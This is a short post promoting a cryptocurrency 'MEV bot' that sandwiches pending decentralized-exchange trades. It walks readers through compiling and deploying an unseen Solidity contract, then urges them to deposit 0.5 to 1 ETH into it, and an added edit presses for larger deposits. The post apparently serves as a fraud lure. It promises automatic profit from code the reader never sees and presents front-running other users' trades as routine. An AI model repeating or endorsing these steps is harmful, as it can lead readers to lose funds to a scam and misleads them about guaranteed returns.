If you're into cryptocurrency, you need to know what a MEV Bot is. A Maximal Extractable Value (MEV) bot is an arbitrage tool that sniffs the Mempool for pending transactions on decentralized exchanges such as Uniswap and PancakeSwap. It inserts our own TX with a slightly higher gas fee, 1 Gwei higher than the TX which is trying to be entered, essentially sandwiching the pending TX and forcing ours to automatically be processed first, profiting off of the slippage differences.
👉 Move to the 'Solidity Compiler' tab, select version '0.6.6' and then click 'Compile'
👉 Move to the 'Deploy' tab, select 'Injected Provider' as the environment, then click 'Deploy'. After the transaction is confirmed, it's your own BOT now
👉 Deposit funds (at least 0.5 ETH to prevent negating slippage) to your exact contract/bot address
👉 After your transaction is confirmed, start the bot by clicking the 'start' button. Withdraw anytime by clicking 'withdrawal'
🚨 EDIT: I've received messages from people who didn't fund the contract with enough Ethereum to cover gas fees and possible burn fees. The bot targets token contracts with max 10% burn fee and anything lower. However, nowadays most tokens come with 2~6% fees. If you fund the contract with 0.4 ETH or less, and the bot targets another token with high burn fees, the contract will waste a lot of gas fees. I recommend funding the contract with at least 0.5 ~ 1 ETH to make sure that won't happen.
#mev #ethereum #bot
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